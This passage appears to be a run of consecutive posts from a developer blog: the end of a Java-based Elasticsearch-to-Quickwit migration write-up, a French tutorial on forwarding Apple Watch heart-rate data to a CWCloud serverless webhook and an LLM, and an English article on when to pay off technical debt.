@Named("quickwitIndexer")
public class QuickwitIndexer implements IIndexer {
@Inject
private IQuickwitService quickwit;

@Override
public <T extends Serializable> void index(IndexedDocAdapater<T> adapter, String id, T document)
throws IOException {
quickwit.index(adapter.getIndexFullName(),
id,
document instanceof IQuickwitSerializable ? ((IQuickwitSerializable<?>) document).to()
: document);
}

@Override
public <T extends Serializable> void delete(IndexedDocAdapater<T> adapter, String id) throws IOException {
quickwit.delete(adapter.getIndexFullName(), id);
}
}

And the implementation using the quickwit client:

import tn.prodit.network.se.indexation.adapter.IndexedDocAdapater;
import tn.prodit.network.se.pojo.IQuickwitSerializable;
import tn.prodit.network.se.utils.singleton.indexer.IIndexer;
import tn.prodit.network.se.utils.singleton.quickwit.IQuickwitService;

import jakarta.inject.Inject;
import jakarta.inject.Named;
import jakarta.inject.Singleton;

@Singleton
@Named("quickwitIndexer")
public class QuickwitIndexer implements IIndexer {
@Inject
private IQuickwitService quickwit;

@Override
public <T extends Serializable> void index(IndexedDocAdapater<T> adapter, String id, T document)
throws IOException {
quickwit.index(adapter.getIndexFullName(),
id,
document instanceof IQuickwitSerializable ? ((IQuickwitSerializable<?>) document).to()
: document);
}

@Override
public <T extends Serializable> void delete(IndexedDocAdapater<T> adapter, String id)
throws IOException {
quickwit.delete(adapter.getIndexFullName(), id);
}
}

You can observe that we introduced the IQuickwitSerializable interface for value objects (VO)5 because some types are not fully supported by Vert.x and therefore cannot be serialized directly. For example, lists of nested objects are not properly handled.

Let’s imagine we have a List<SkillVO> skills, which is a nested list of objects. To address this limitation, we had to duplicate the data in the index mapping using two array<text> fields: one containing only the searchable subfields (such as name), and another preserving the full object structure so it can be unmarshalled correctly and remain interoperable.

{
"indexed": true,
"fast": true,
"name": "searchableSkills",
"type": "array<text>",
"tokenizer": "raw"
},
{
"indexed": false,
"name": "skills",
"type": "array<text>"
}

Then, on the original VO class, we had to implement the to() method of the IQuickwitSerializable interface like this:

class PersonalProfileVO implements IQuickwitSerializable<QuickwitPersonalProfile> {
private List<SkillVO> skills;

public List<SkillVO> getSkills() {
return this.skills;
}

public void setSkills(List<SkillVO> skills) {
this.skills = skills;
}

@Override
public QuickwitPersonalProfile to() {
QuickwitPersonalProfile dest = new QuickwitPersonalProfile();

if (null != this.getSkills()) {
dest.setSkills(this.getSkills().stream().map(s -> JSONUtils.objectTojsonQuietly(s, SkillVO.class)).collect(Collectors.toList()));

// we will perform the search query only on the name
dest.setSearchableSkills(this.getSkills().stream().map(s -> s.getName()).collect(Collectors.toList()));
}

return dest;
}
}

Then duplicate the VO class and implements the to() the other way arround:

class QuickwitPersonalProfile implements IQuickwitSerializable<PersonalProfileVO> {
private List<String> skills;

private List<String> searchableSkills;

public List<String> getSkills() {
return this.skills;
}

public void setSkills(List<String> skills) {
this.skills = skills;
}

public List<String> getSearchableSkills() {
return this.searchableSkills;
}

public void setSearchableSkills(List<String> searchableSkills) {
this.searchableSkills = searchableSkills;
}

@Override
public PersonalProfileVO to() {
PersonalProfileVO dest = new PersonalProfileVO();

if (null != this.getSkills()) {
dest.setSkills(this.getSkills().stream().map(s -> JSONUtils.json2objectQuietly(s, SkillVO.class)).collect(Collectors.toList()));
}

return dest;
}
}

Reading interface

For the reading part, here's the interface which also had two implementations (an Elasticsearch's one and a Quickwit's one).

import co.elastic.clients.elasticsearch._types.SortOrder;
import co.elastic.clients.elasticsearch._types.query_dsl.BoolQuery;
import co.elastic.clients.elasticsearch.core.SearchRequest;
import co.elastic.clients.json.jackson.JacksonJsonpGenerator;
import co.elastic.clients.json.jackson.JacksonJsonpMapper;
import com.fasterxml.jackson.core.JsonFactory;
import jakarta.json.stream.JsonGenerator;
import tn.prodit.network.se.pojo.SearchResult;
import tn.prodit.network.se.pojo.fields.IFields;

public interface ISearcher {
JacksonJsonpMapper mapper = new JacksonJsonpMapper();

<T extends Serializable> SearchResult<T> search(String index,
BoolQuery query,
Optional<Sort> sort,
Integer startIndex,
Integer maxResults,
Class<T> clazz);

<T extends IFields> SearchResult<String> search(String index,
List<String> fields,
List<String> criteria,
Integer startIndex,
Integer maxResults,
Class<T> clazz);

static String toJson(SearchRequest request, JacksonJsonpMapper mapper) {
JsonFactory factory = new JsonFactory();
StringWriter jsonObjectWriter = new StringWriter();
try {
JsonGenerator generator = new JacksonJsonpGenerator(factory.createGenerator(jsonObjectWriter));
request.serialize(generator, mapper);
generator.close();
return jsonObjectWriter.toString();
} catch (IOException e) {
return null;
}
}

default JacksonJsonpMapper getMapper() {
return mapper;
}

default String toJson(BoolQuery query) {
return toJson(query, getMapper());
}
}

Notes:

  • you can override the default method getMapper() with an already instanciated mapper
  • the toJson() method will allow the Quickwit implementation to transform the SearchRequest object into a String containing json that will be sent to the _elastic endpoint

Then, the implementation for Quickwit were pretty straight forward:

import co.elastic.clients.elasticsearch._types.query_dsl.BoolQuery;
import co.elastic.clients.elasticsearch.core.SearchRequest;
import io.vertx.core.json.JsonArray;
import io.vertx.core.json.JsonObject;

import tn.prodit.network.se.pojo.IQuickwitSerializable;
import tn.prodit.network.se.pojo.SearchResult;
import tn.prodit.network.se.pojo.fields.IFields;
import tn.prodit.network.se.utils.singleton.quickwit.IQuickwitService;
import tn.prodit.network.se.utils.singleton.searcher.ISearcher;
import tn.prodit.network.se.utils.singleton.searcher.Sort;

import jakarta.inject.Inject;
import jakarta.inject.Named;
import jakarta.inject.Singleton;

import static org.apache.commons.lang3.StringUtils.isBlank;
import static tn.prodit.network.se.utils.CommonUtils.initSearchResult;
import static tn.prodit.network.se.utils.JSONUtils.json2objectQuietly;

@Singleton
@Named("quickwitSearcher")
public class QuickwitSearcher implements ISearcher {
private static final Logger LOGGER = LogManager.getLogger(QuickwitSearcher.class);

@Inject
private IQuickwitService quickwit;

private JsonObject performSearch(String index,
BoolQuery query,
Optional<Sort> sort,
Integer startIndex,
Integer maxResults) {
SearchRequest r = getSearchRequest(index, sort, startIndex, maxResults, query);
JsonObject jsonQuery = new JsonObject(toJson(r));
String quickwitResponse = quickwit.search(index, jsonQuery);

if (isBlank(quickwitResponse)) {
quickwitResponse = "{\"hits\": {\"hits\": []}}";
}

return new JsonObject(quickwitResponse);
}

@Override
public <T extends Serializable> SearchResult<T> search(String index,
BoolQuery query,
Optional<Sort> sort,
Integer startIndex,
Integer maxResults,
Class<T> clazz) {
SearchResult<T> result = initSearchResult(Long.valueOf(startIndex), Long.valueOf(maxResults));
List<T> elems = new ArrayList<>();
JsonObject quickwitResponse = performSearch(index, query, sort, startIndex, maxResults);
JsonObject hits = quickwitResponse.getJsonObject("hits");
if (null == hits) {
return result;
}

JsonArray hits2 = hits.getJsonArray("hits");
for (int i = 0; i < hits2.size(); i++) {
if (IQuickwitSerializable.class.isAssignableFrom(clazz)) {
JsonObject hit = hits2.getJsonObject(i);
if (null == hit) {
continue;
}

JsonObject source = hit.getJsonObject("_source");
if (null == source || isBlank(source.toString())) {
continue;
}

IQuickwitSerializable<?> obj = (IQuickwitSerializable<?>) json2objectQuietly(source.toString(), IQuickwitSerializable.getSerializationClazz(clazz));
elems.add((T) obj.to());
}
}

result.setResults(elems);
result.setTotalResults(Long.valueOf(elems.size()));
return result;
}
}

Few difficulties to address

Here are some of the challenges we encountered:

  • Quickwit ain't replace documents by ID in case of updates, so queries must explicitly filter and select the most recent document version.
  • Document deletion is not as immediate as in Elasticsearch, meaning deleted profiles may still appear in search results for a short period of time.
  • Quickwit ain't support regex queries, which required us to rewrite those queries using term or match queries instead.

Conclusion

Given the difficulties previously mentioned, it's understandable that many applications may argue that Quickwit ain't the best solution for this use case. However, in the context of uprodit, search result relevance ain't need to be perfect considering the significant infrastructure cost savings we achieved with this migration.

Footnotes

  1. Relational Database Management System

  2. Before it was acquired by datadog

  3. Domain Specific Language

  4. The prodit-se module was already written in Vert.x using Google Juice and JSR330 (javax.inject package)

  5. Value Object

Récupérer les données de son AppleWatch avec le moteur FaaS de CWCloud

· 7 minutes de lecture
Idriss Neumann
founder cwcloud.tech

Ce blogpost va nous permettre d'illustrer un cas d'utilisation concret de l'utilisation du moteur FaaS1 de CWCloud pour à la fois exposer des fonctions serverless comme webhooks publics et également montrer comment interagir avec des LLM2.

En dehors de l'IT, j'aime pratiquer régulièrement certains sports, notamment la course à pied ou encore le powerlifting. Depuis un certain temps, j'utilise une Apple Watch SE pour récupérer les métriques et suivre la progression, entre autres au niveau de l'endurance et du cardio.

Pour un utilisateur "non-tech", le niveau de détail et de présentation des données au cours d'un exercice est très satisfaisant. Ici, vous avez par exemple le détail de ce qui se passe pendant une course : les positions GPS, le rythme cardiaque et les zones tout au long de l'exercice...

apple-activity-dashboard

La montre donne également plein d'autres données sur la qualité du sommeil, le rythme cardiaque au repos, les calories dépensées... mais il y a toujours eu un souci qui me frustre, comparé à d'autres modèles que j'ai pu avoir par le passé comme les montres Fitbit : pas d'API et webservices pour les développeurs. Or, j'aurais bien voulu récupérer ces données pour pouvoir les traiter avec des LLM en passant par le moteur FaaS low-code de CWCloud.

Cependant, pas d'API en ligne ne signifie pas pour autant qu'il est impossible de les récupérer : on voit que beaucoup d'applications sur l'iPhone sont capables de malgré tout récupérer les données de la montre, à l'exemple de Strava, MyFitnessPal...

Ces applications passent la plupart du temps par une lecture des données directement depuis l'iPhone en utilisant le framework d'Apple HealthKit et en donnant les permissions nécessaires depuis les paramètres de sécurité d'Apple.

Cependant, cela demande quand même beaucoup d'efforts pour quelqu’un qui n’est pas développeur mobile iOS de devoir builder et valider une application développée en Swift pour envoyer les données sur un webhook. J’ai cherché à voir si quelqu’un d’autre n’avait pas déjà fait ce travail. Et c’était effectivement le cas avec l’application Health Auto Export.

Cette application est assez mal notée, mais quand on lit les commentaires, on comprend parfaitement pourquoi : les gens n'ont pas compris à quoi elle servait. Entre autres, elle ne sert pas à faire de jolis dashboards d'agrégations statistiques, mais à exporter les données de santé d'Apple dans des formats exploitables par des développeurs (CSV ou JSON), et également à programmer des envois schedulés de ces exports vers des connecteurs externes (webhook REST/HTTP, fichiers MQTT, Dropbox...).

Dans notre cas, c’est très exactement ce qu’il nous fallait. Voici comment configurer, par exemple, un webhook HTTP pour envoyer les données à CWCloud dans une automation qui va tourner toutes les minutes :

health-auto-export

Toutes les minutes, la fonction serverless de CWCloud va recevoir comme payload un JSON au format suivant :

{
"data" : {
"metrics" : [
{
"units" : "count\/min",
"data" : [
{
"Min" : 79,
"date" : "2025-06-30 23:17:40 +0200",
"Avg" : 79,
"Max" : 79,
"source" : "Idriss’s Apple Watch"
},
{
"Min" : 66,
"Max" : 66,
"Avg" : 66,
"source" : "Idriss’s Apple Watch",
"date" : "2025-06-30 23:23:45 +0200"
},
{
"Max" : 66,
"date" : "2025-06-30 23:26:52 +0200",
"source" : "Idriss’s Apple Watch",
"Min" : 66,
"Avg" : 66
}
],
"name" : "heart_rate"
}
]
}
}

Dans l'automation, on pourra noter que j’ai filtré uniquement la métrique heart_rate, car sinon cela pourrait en envoyer beaucoup d’autres, et pas uniquement provenant de l’Apple Watch, mais également d’autres applications comme MyFitnessPal, qui fait le tracking de vos macros (calories, protéines, lipides, glucides, calcium, etc.) de votre alimentation. Bref, il y a vraiment de quoi faire des usecases très intéressants 😁.

Cela étant, ce payload n’est pas compatible avec le contrat d’interface de notre moteur serverless avec les endpoints classiques que nous avons documentés dans plusieurs démos, où l’on attend à l’avance les paramètres de votre fonction.

Il existe toutefois un endpoint /v1/faas/webhook/{function_id} (ou /v1/faas/webhook/{function_id}/sync si vous souhaitez recevoir la réponse de la fonction en synchrone dans la réponse HTTP). Dans ce cas, il faut que votre fonction soit définie avec un unique argument raw_data comme ceci :

faas-raw-data-arg

Une fois que c’est fait, il devient très simple d’invoquer la fonction en lui passant ce que vous voulez comme body, que vous pourrez ensuite parser directement dans votre code :

$ curl "https://api.cwcloud.tech/v1/faas/webhook/ecb10330-02bf-400b-b6a8-d98107324ac3/sync" -X POST -d '{"foo":"bar"}' 2>/dev/null|jq .
{
"status": "ok",
"code": 200,
"entity": {
"id": "78774026-f75e-4c7c-850a-9b9eb2cb2ec0",
"invoker_id": 3,
"updated_at": "2025-07-05T14:39:53.119780",
"content": {
"args": [
{
"key": "raw_data",
"value": "{\"foo\":\"bar\"}"
}
],
"state": "complete",
"result": "The data is : {\"foo\":\"bar\"}\n",
"user_id": null,
"function_id": "ecb10330-02bf-400b-b6a8-d98107324ac3"
},
"created_at": "2025-07-05T14:39:52.443918"
}
}

Vous l'aurez compris, dans l'automation de l'application Health Auto Export c'est une URL au format https://api.cwcloud.tech/v1/faas/webhook/{function_id} qu'il faudra définir (pas besoin du /sync à la fin car vous n'aurez pas besoin d'attendre le résultat de l'exécution de la fonction).

Note : on a aussi exposé la fonction en public pour pouvoir l’invoquer sans authentification, mais ce n’est pas forcément ce qui est souhaitable. N’oubliez pas que vous êtes facturés aux tokens que vous consommerez dans le cas ou vous utilisez des modèles publics. Donc ici on le fait à des fins illustratives mais vous n’allez pas forcément vouloir que tout le monde invoque votre webhook. Vous pouvez très bien gérer cela en gardant la fonction privée et en ajoutant un header X-User-Token dans l’automation sur l’application Health Auto Export.

Maintenant qu’on sait comment créer un webhook, voici le code Blockly3 pour extraire la moyenne de votre heart rate, l’envoyer au LLM gpt4omini. Ici, on a demandé au LLM de réagir avec un emoji à la valeur qu’il reçoit et d’envoyer le résultat dans Discord :

faas-blockly-heart-rate

Vous pouvez observer que je passe la phrase suivante "You're reacting with an emoji only if the heart rate is too slow or to high" comme prompt système ainsi que le nombre de battements cardiaque récupérée des données de l'Apple Watch comme prompt utilisateur.

En outre, il faut savoir que les blocs AI vous obligent à vous authentifier pour pouvoir invoquer l'API CWCloud AI. Si vous voulez conserver le fait d'ouvrir ce webhook à n'importe qui il faudra créer une clef d'API en suivant ce tutoriel et en injectant cette clef dans une variable d'environnement AUTH_HEADER_VALUE comme ceci :

faas-authentication-cwai

Dans ce cas tous le monde pourra invoquer votre webhook et c'est votre compte qui sera facturé à la consommation si vous utilisez des modèles d'IA publics. Vous pouvez aussi chosir d'utiliser votre propre LLM hébergé sur vos instances à la place et dans ce cas cela ferait plus sens de garder le webhook public 😇.

Il faut également savoir que si la variable AUTH_HEADER_VALUE est définie, elle est prise en priorité sur l'authentification lorsque vous invoquez le webhook de façon authentifiée.

On peut également remarquer dans la capture d'écran précédant qu'un webhook pour Discord a été défini dans une autre variable d'environnement DISCORD_WEBHOOK_URL afin d'être utilisé pour envoyer la réponse du LLM dans Discord, et voici le résultat :

faas-discord-heart-rate

On peut voir que jusqu'ici tout va bien côté cardio, rien à signaler 😅

Footnotes

  1. Function as a Service

  2. Large Language Model

  3. Blockly est le langage low-code qu'on utilise dans CWCloud

Technical Debt: When to Pay It Off and When to Live With It

· 8 minutes de lecture
Ayoub Abidi
full-stack developer

Technical debt is a concept known by almost every software development team. Just like financial debt, technical debt increase over time, making the codebase more and more difficult and expensive to maintain.

technical-debt

This article will present the nuances of technical debt management, focusing specifically on when you should prioritize paying it down and when it might be reasonable to live with it. We'll examine concrete indicators, practical strategies, and real-world scenarios that could help development teams make relevant decisions about their technical debt.

TL;DR

Technical debt is similar to any other debt: it's not necessarily bad, but is becoming dangerous if ignored. You should accept it wisely, track it clearly, and pay it off when the cost of keeping exceed the benefit.

In other words: write fast but refactor smart.

Understanding Technical Debt

Before deep diving into the various management strategies, it's important to understand that technical debt can take multiple forms. Here's some of them.

Code-level debt

Suboptimal code patterns, duplicate code, violations of best practices...

Example: code duplication

function checkUserEmail(email) {
return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
}

function validateAdminEmail(email) {
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; // Duplicated logic
return emailRegex.test(email);
}

⬇️

// Better approach would be:
function validateEmail(email) {
return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
}

Architectural debt

Structural issues that affect the entire system, such as tight coupling between components or monolithic architectures that should be modular.

Documentation debt

Missing, outdated, or inadequate documentation.

Test debt

Non-sufficient test coverage, or overly complex test suites.

Infrastructure debt

Outdated dependencies, deployment processes, or development environments.

Technical debt is inevitable in most software projects. The key ain't to eliminate it entirely (that obviously not possible in the real world) but to manage it strategically.

When to Pay Off Technical Debt

When It Directly Impacts User Experience

If technical debt is causing visible issues for end users, such as slow performances, frequent crashes, or security vulnerabilities it should be addressed immediately. Those issues directly affect your product's reputation and user experience.

Example: Performance debt affecting user experience

// Before: Inefficient API calls causing lag
async function loadDashboard() {
const userData = await fetchUserData(); // 500ms
const statsData = await fetchStatsData(); // 700ms
const notifData = await fetchNotifData(); // 600ms
// Total: ~1800ms (sequential calls)

renderDashboard(userData, statsData, notifData);
}

⬇️

// After: Optimized parallel API calls
async function loadDashboard() {
const [userData, statsData, notifData] = await Promise.all([
fetchUserData(),
fetchStatsData(),
fetchNotifData()
]);
// Total: ~700ms (parallel calls)

renderDashboard(userData, statsData, notifData);
}

When Development Velocity Is Decreasing

If your team is spending way more time working around technical issues in the codebase than bringing new features, it's a strong signal that technical debt is eating your velocity. Track those metrics over time:

  • Time spent on bug fixes vs. new feature development
  • Average time to implement new features
  • Frequency of unexpected issues during deployment

When these metrics show a negative trend, it's the time to allocate resources to paying down debt.

When Adding New Features Suddenly Becomes Excessively Complex

If seemingly simple features require disproportionate effort due to the complexity of the codebase, technical debt is likely the culprit. This is particularly evident when:

  • Simple changes require modifications in multiple places
  • Adding new functionality requires extensive understanding of unrelated parts of the system
  • Developers consistently underestimate the time required for new features (Trust me, whether you’ve been coding since floppy disks or the cloud was just literal water vapor, your estimates will still be hilariously wrong)

When Onboarding New Team Members/Interns Takes Too Long

If new developers struggle to understand the codebase and are able to contribute and fix issues in a reasonable time, it could indicate excessive technical debt. Don't understimate the power of a clean, well-structured codebase with appropriate documentation. It will accelerate onboarding and reduce the learning curve exponentially.

You Are Scaling

What worked for 100 users may fall apart at 1000. Scalability is one of the top reasons to pay off infrastructure or architectural debt.

When to Live With Technical Debt

When Time-to-Market Is Critical

In highly competitive markets or when working against tight deadlines, accepting some technical debt might be necessary to ship products on time. This is especially true for startups or new products where market validation is far more important than perfect code.

Example: Expedient MVP implementation with acknowledged debt

/*
TODO: Technical Debt - Current Implementation
This is a simplified implementation to meet the MVP launch deadline.
Known limitations:
- No caching mechanism (could cause performance issues at scale)
- In-memory storage (will need DB implementation for production)
- No error handling for network failures
*/

async function fetchProducts() {
// Simplified implementation for MVP
let products = {};
const response = await fetch('/api/products');
const data = await response.json();

data.forEach(item => {
products[item.id] = item;
});

return Object.values(products);
}

When the Code Is in a Rarely Changed Area

Not all parts of a codebase are created equal. Some modules or components rarely change after initial development. Technical debt in these stable areas might not be worth addressing if they work correctly and don't affect the rest of the system.

When the Cost of Fixing Exceeds the Benefits

Sometimes, the effort required to fix technical debt outweighs the benefits. This is particularly true for:

  • Legacy systems approaching retirement
  • Code that will soon be replaced by a new implementation
  • Non-critical features with limited usage

When Technical Debt Is Isolated

If the technical debt is well-contained and ain't affect other parts of the system, it becomes acceptable to live with it and ain't become the end of the world and hands of destruction 😜.

When Your Team Is Undergoing Significant Changes

During periods like team transitions, onboarding multiple new members, or dealing with organizational restructuration, maintaining stability might be more important than paying down technical debt. You should wait for a period of team stability before tackling significant refactoring efforts.

Practical Strategies for Technical Debt Management

Allocate Regular Time for Debt Reduction

Many successful development teams allocate a fixed percentage of their time (e.g., 20%) to addressing technical debt. This creates a sustainable approach to debt management without sacrificing feature development.

Practice Continuous Refactoring

Instead of large, risky refactoring, incorporate continuous refactoring into your development workflow. This reduces the risk and makes debt reduction more manageable.

Documentation

Use TODOs, comments, or issue trackers to record what was done and why. Don’t let debt hide.

Measuring the Impact of The Technical Debt

In order to make relevant decisions about technical debt, you need to measure its impact. Here are concrete metrics to track.

Development Velocity

Track how long it takes to implement similar features over time.

Code Churn

Measure how frequently code changes in specific areas.

Build and Deployment Metrics

Track build failures, deployment issues, and rollbacks.

Static Analysis Results

Use tools in your pipelines workflow like Ruff, Bandit, or ESLint to identify code quality issues.

Real-World Case Studies

Case Study 1: Etsy's Continuous Deployment Revolution

Etsy faced significant technical debt in their deployment process, with infrequent, painful deployments that slowed innovation. Instead of a massive overhaul, they gradually transformed their process:

  1. They introduced automated testing and continuous integration
  2. They focused on small, incremental improvements to their deployment pipeline
  3. They built tools to increase visibility into the deployment process

This gradual approach allowed them to move from deployments every few weeks to multiple deployments per day, without disrupting their business operations.

Case Study 2: Twitter's Rewrite of Their Timeline Service

Twitter's timeline (a.k.a X now) service accumulated significant technical debt as the platform grew. They decided to rewrite it completely, but did so incrementally:

  1. They built the new system alongside the old one
  2. They gradually moved traffic to the new system
  3. They maintained backward compatibility throughout the transition

This approach allowed them to replace a critical service without any disruption of the user experience.

Conclusion

Most of the time, the successful approach to manage technical debt is a balanced one: allocate regular time for debt reduction, establish clear metrics for tracking debt, and build a culture that values code quality alongside feature delivery.

Remember that the goal ain't getting the perfect code, but a codebase that enables your team to deliver value to users efficiently and sustainably. By making informed decisions about when to pay off technical debt and when to live with it, you can strike the right balance between speed and sustainability in your development process.

References and Further Reading